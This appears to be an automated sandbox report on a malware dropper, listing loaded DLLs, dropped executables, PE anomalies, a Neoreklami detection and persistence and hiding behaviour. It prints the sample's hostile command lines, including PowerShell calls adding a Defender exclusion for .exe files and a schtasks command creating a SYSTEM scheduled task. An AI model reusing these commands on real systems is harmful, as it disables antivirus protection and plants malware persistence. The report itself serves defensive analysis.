Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: mstask.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\gpupdate.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\gpupdate.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\gpupdate.exe	Section loaded: wevtapi.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: acgenral.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: samcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: msacm32.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: dwmapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: winmmbase.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: aclayers.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sfc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: pcacli.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: acgenral.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmm.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: samcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msacm32.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: winmmbase.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sfc_os.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\forfiles.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll

Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

File written: C:\Windows\System32\GroupPolicy\gpt.ini

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: gHPYUEh253.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: gHPYUEh253.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: gHPYUEh253.exe

Static file information: File size 4411904 > 1048576

Source: gHPYUEh253.exe

Static PE information: Raw size of .vmp is bigger than: 0x100000 < 0x419000

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: mozglue.pdbP source: RegAsm.exe, 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmp, RegAsm.exe, 0000000F.00000002.2766416509.000000006C8D5000.00000002.00000001.01000000.00000016.sdmp, mozglue[1].dll.15.dr
Source:	Binary string: nss3.pdb@ source: RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\BUDEroEow.pdbm source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1908691673.0000000006110000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.11.dr
Source:	Binary string: otsoft.pdb source: gHPYUEh253.exe, 00000000.00000003.1812581539.0000013EF5CC1000.00000004.00000020.00020000.00000000.sdmp, gHPYUEh253.exe, 00000000.00000003.1809872771.0000013EF57AB000.00000004.00000020.00020000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000000.1821496251.0000000000F72000.00000002.00000001.01000000.0000000D.sdmp
Source:	Binary string: PE.pdb source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1905957911.0000000005D10000.00000004.08000000.00040000.00000000.sdmp, oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1884662899.0000000004996000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 8G7TUoanzGVBa0kCulY_TPPa.exe, 00000009.00000002.2673120674.00000000020E0000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 0000000B.00000002.2437691328.000000006911F000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: mozglue.pdb source: RegAsm.exe, 0000000B.00000002.2436376776.0000000068F5D000.00000002.00000001.01000000.00000016.sdmp, RegAsm.exe, 0000000F.00000002.2766416509.000000006C8D5000.00000002.00000001.01000000.00000016.sdmp, mozglue[1].dll.15.dr
Source:	Binary string: C:\Users\Dan\Desktop\work\sqlite\tmp\sqlite_bld_dir\2\sqlite3.pdb source: RegAsm.exe, 0000000C.00000002.2613139862.000000001FA58000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 0000000C.00000002.2566357777.0000000019AED000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\BUDEroEow.pdb source: oOMgVil3z78TF92yUiI1jBjJ.exe, 0000000A.00000002.1908691673.0000000006110000.00000004.08000000.00040000.00000000.sdmp

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force

Source: 66c9d3bd31e56_otraba[1].exe.0.dr

Static PE information: 0xFC3F50E0 [Sat Feb 9 13:45:04 2104 UTC]

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe

Code function: 7_2_00418320 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_00418320

Source: initial sample

Static PE information: section where entry point is pointing to: .vmp

Source: iyhiDENXt_q0EUrAsx1Gpb4x.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x750c6d
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe.0.dr	Static PE information: real checksum: 0x32c4e should be: 0x31538
Source: 66c9d3bd31e56_otraba[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x523d38
Source: 3rS3zgtrHYzvSBWEegYZ8AEZ.exe.0.dr	Static PE information: real checksum: 0x34bc3 should be: 0x372ad
Source: oOMgVil3z78TF92yUiI1jBjJ.exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x523d38
Source: setup[1].exe.0.dr	Static PE information: real checksum: 0x0 should be: 0x750c6d
Source: 66d0cd9a65b5d_vqwergf[1].exe.0.dr	Static PE information: real checksum: 0x32c4e should be: 0x31538
Source: 66d0cd9755a01_sbwd[1].exe.0.dr	Static PE information: real checksum: 0x34bc3 should be: 0x372ad

Source: gHPYUEh253.exe	Static PE information: section name: _RDATA
Source: gHPYUEh253.exe	Static PE information: section name: .vmp
Source: gHPYUEh253.exe	Static PE information: section name: .vmp
Source: gHPYUEh253.exe	Static PE information: section name: .vmp
Source: setup[1].exe.0.dr	Static PE information: section name: .sxdata
Source: iyhiDENXt_q0EUrAsx1Gpb4x.exe.0.dr	Static PE information: section name: .sxdata
Source: 66c6fcb30b9dd_123p[1].exe.0.dr	Static PE information: section name: .00cfg
Source: 66c6fcb30b9dd_123p[1].exe.0.dr	Static PE information: section name: .text0
Source: 66c6fcb30b9dd_123p[1].exe.0.dr	Static PE information: section name: .text1
Source: 66c6fcb30b9dd_123p[1].exe.0.dr	Static PE information: section name: .text2
Source: ZsQxSfwnc3ehFR9PxEV79BAM.exe.0.dr	Static PE information: section name: .00cfg
Source: ZsQxSfwnc3ehFR9PxEV79BAM.exe.0.dr	Static PE information: section name: .text0
Source: ZsQxSfwnc3ehFR9PxEV79BAM.exe.0.dr	Static PE information: section name: .text1
Source: ZsQxSfwnc3ehFR9PxEV79BAM.exe.0.dr	Static PE information: section name: .text2

Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_00411360 push ecx; mov dword ptr [esp], ecx	7_2_00411361
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_00413954 push eax; ret	7_2_00413972
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Code function: 7_2_00413CC0 push eax; ret	7_2_00413CEE
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Code function: 8_2_004192C0 push eax; ret	8_2_004192EE
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_004025CD push ecx; ret	9_2_004025E0
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_007360AF push ecx; retf	9_2_007360B2
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Code function: 9_2_02108F05 push ecx; ret	9_2_02108F18
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EB4427 push edi; ret	10_2_05EB4428
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Code function: 10_2_05EBDA70 push ebx; retf	10_2_05EBDA71
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_0041A9F5 push ecx; ret	11_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 11_2_68F1B536 push ecx; ret	11_2_68F1B549

Source: 66d0cd9a65b5d_vqwergf[1].exe.0.dr	Static PE information: section name: .text entropy: 7.988564984813096
Source: 66d0cd9755a01_sbwd[1].exe.0.dr	Static PE information: section name: .text entropy: 7.989712115800269
Source: E7ZgIS5gIvcD0qYA4MsN8rsr.exe.0.dr	Static PE information: section name: .text entropy: 7.988564984813096
Source: 3rS3zgtrHYzvSBWEegYZ8AEZ.exe.0.dr	Static PE information: section name: .text entropy: 7.989712115800269
Source: 66c1c5838f95f_file1808[1].exe.0.dr	Static PE information: section name: .text entropy: 7.737435826945235
Source: 8G7TUoanzGVBa0kCulY_TPPa.exe.0.dr	Static PE information: section name: .text entropy: 7.737435826945235

Persistence and Installation Behavior

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8120, type: MEMORYSTR

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Jump to dropped file

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: reg.exe

Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFCFBFBFB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	File created: C:\Windows\Temp\GyCSmFAiAvfejamA\vWUiZCTWPqDpUzR\RRJEdwx.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\l2[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0502b12496_MKna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userCAAKFIIDGI.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9755a01_sbwd[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	File created: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\setup[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[2].dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	File created: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0cd9a65b5d_vqwergf[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\iyhiDENXt_q0EUrAsx1Gpb4x.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66c9d3bd31e56_otraba[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\7zSFC24.tmp\Install.exe	File created: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userAFCBFIJEHD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\gHPYUEh253.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c1c5838f95f_file1808[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	File created: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\CBFCFBFBFB.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

File created: C:\Windows\Temp\GyCSmFAiAvfejamA\vWUiZCTWPqDpUzR\RRJEdwx.exe

Jump to dropped file

Boot Survival

Yara detected Neoreklami

Source: Yara match

File source: Process Memory Space: Install.exe PID: 8120, type: MEMORYSTR

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F

Source: C:\Windows\SysWOW64\schtasks.exe

File created: C:\Windows\Tasks\bGRMUcRlXIkCKIeoVz.job

Hooking and other Techniques for Hiding and Protection

Creates files in the recycle bin to hide itself

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe

File created: C:\$RECYCLE.BIN\S-1-5-18

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE22370008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	Memory written: PID: 7556 base: 7FFE2220D9F0 value: E9 20 26 16 00	Jump to behavior
